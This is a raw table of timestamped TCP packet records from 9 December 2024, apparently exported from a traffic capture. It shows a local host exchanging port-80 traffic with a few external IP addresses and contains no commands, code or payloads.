Dec 9, 2024 15:29:49.590975046 CET	80	49820	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:51.314723015 CET	80	49820	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:51.314781904 CET	49820	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:54.459266901 CET	49820	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:54.461033106 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:30:05.058397055 CET	49854	80	192.168.2.5	185.215.113.43
Dec 9, 2024 15:30:05.178086996 CET	80	49854	185.215.113.43	192.168.2.5
Dec 9, 2024 15:30:05.178208113 CET	49854	80	192.168.2.5	185.215.113.43
Dec 9, 2024 15:30:05.178400993 CET	49854	80	192.168.2.5	185.215.113.43
Dec 9, 2024 15:30:05.297643900 CET	80	49854	185.215.113.43	192.168.2.5
Dec 9, 2024 15:30:06.533797979 CET	80	49854	185.215.113.43	192.168.2.5
Dec 9, 2024 15:30:06.533936977 CET	49854	80	192.168.2.5	185.215.113.43
Dec 9, 2024 15:30:08.047754049 CET	49854	80	192.168.2.5	185.215.113.43
Dec 9, 2024 15:30:08.048108101 CET	49860	80	192.168.2.5	185.215.113.43
Dec 9, 2024 15:30:08.168464899 CET	80	49854	185.215.113.43	192.168.2.5
Dec 9, 2024 15:30:08.168523073 CET	80	49860	185.215.113.43	192.168.2.5
Dec 9, 2024 15:30:08.168528080 CET	49854	80	192.168.2.5	185.215.113.43
Dec 9, 2024 15:30:08.168584108 CET	49860	80	192.168.2.5	185.215.113.43
Dec 9, 2024 15:30:08.168765068 CET	49860	80	192.168.2.5	185.215.113.43
Dec 9, 2024 15:30:08.288968086 CET	80	49860	185.215.113.43	192.168.2.5
Dec 9, 2024 15:30:09.574753046 CET	80	49860	185.215.113.43	192.168.2.5
Dec 9, 2024 15:30:09.574836969 CET	49860	80	192.168.2.5	185.215.113.43
Dec 9, 2024 15:30:09.578665018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:09.698405981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:09.698549986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:09.698751926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:09.818052053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.030709982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.030805111 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.031052113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.031068087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.031090975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.031114101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.031888962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.031907082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.031939983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.031960964 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.033466101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.033485889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.033515930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.033530951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.034904957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.034923077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.034950018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.034965038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.036351919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.036400080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.150537014 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.150698900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.150789976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.150835037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.155081034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.155132055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.246496916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.246598005 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.246823072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.246870041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.250895023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.250967026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.251029968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.251082897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.259074926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.259126902 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.262085915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.262135983 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.262496948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.262538910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.271200895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.271389961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.271404028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.271431923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.279633999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.279655933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.279695988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.279716015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.287396908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.287470102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.287688971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.287734985 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.295176983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.295238972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.295489073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.295531034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.302660942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.302723885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.302963018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.303008080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.310136080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.310221910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.310565948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.310615063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.317694902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.317754030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.318011045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.318083048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.325556993 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.325617075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.326009035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.326056004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.366081953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.366238117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.438208103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.438337088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.438563108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.438610077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.440982103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.441031933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.441302061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.441342115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.445301056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.445348978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.445651054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.445697069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.450599909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.450648069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.450937033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.451029062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.456054926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.456118107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.456367016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.456409931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.461474895 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.461540937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.461796999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.461834908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.466702938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.466758966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.467035055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.467073917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.472044945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.472090006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.472382069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.472423077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.477164984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.477227926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.477467060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.477509975 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.482389927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.482451916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.482635021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.482677937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.487552881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.487602949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.487834930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.487871885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.492889881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.492947102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.493119955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.493160963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.498534918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.498580933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.498878002 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.498914003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.501998901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.502054930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.502290964 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.502332926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.506632090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.506679058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.507055998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.507095098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.509654045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.509691954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.509879112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.509917021 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.512701988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.512742996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.512973070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.513006926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.516204119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.516248941 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.516573906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.516617060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.519761086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.519803047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.520083904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.520118952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.523503065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.523542881 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.523796082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.523833036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.527039051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.527076960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.527340889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.527379990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.530716896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.530761957 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.630186081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.630247116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.630568981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.630656004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.631830931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.631875038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.632224083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.632258892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.634931087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.634969950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.635221958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.635262012 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.638082027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.638124943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.638448954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.638485909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.641278028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.641349077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.641585112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.641630888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.644233942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.644280910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.644680977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.644723892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.647133112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.647183895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.647456884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.647497892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.649990082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.650038958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.650307894 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.650352955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.652736902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.652785063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.653080940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.653124094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.655467987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.655515909 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.655850887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.655894041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.658130884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.658176899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.658473969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.658515930 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.661156893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.661201954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.661477089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.661524057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.663508892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.663552999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.663861990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.663903952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.666356087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.666408062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.666650057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.666692019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.668885946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.668929100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.669245005 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.669287920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.671703100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.671746016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.672099113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.672147036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.674329996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.674381018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.674602032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.674647093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.677143097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.677186966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.677581072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.677623034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.680156946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.680202007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.680543900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.680584908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.682883978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.682928085 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.683162928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.683203936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.685076952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.685126066 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.685340881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.685386896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.687673092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.687721968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.687997103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.688041925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.690393925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.690440893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.690733910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.690778017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.693068981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.693111897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.693391085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.693432093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.695807934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.695853949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.696155071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.696197033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.698414087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.698458910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.698807001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.698848963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.701114893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.701164007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.701502085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.701541901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.703699112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.703751087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.704108953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.704154015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.706463099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.706509113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.706824064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.706861973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.710808992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.710829020 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.710861921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.710879087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.712229967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.712271929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.712583065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.712621927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.714507103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.714553118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.714906931 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.714948893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.718286037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.718338966 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.720326900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.720340967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.720371962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.720390081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.720804930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.720841885 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.723223925 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.723264933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.723366022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.723403931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.822084904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.822216988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.822299957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.822350025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.823074102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.823118925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.823657036 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.823700905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.825297117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.825344086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.825604916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:11.825649977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:11.829132080 CET	80	49866	31.41.244.11	192.168.2.5
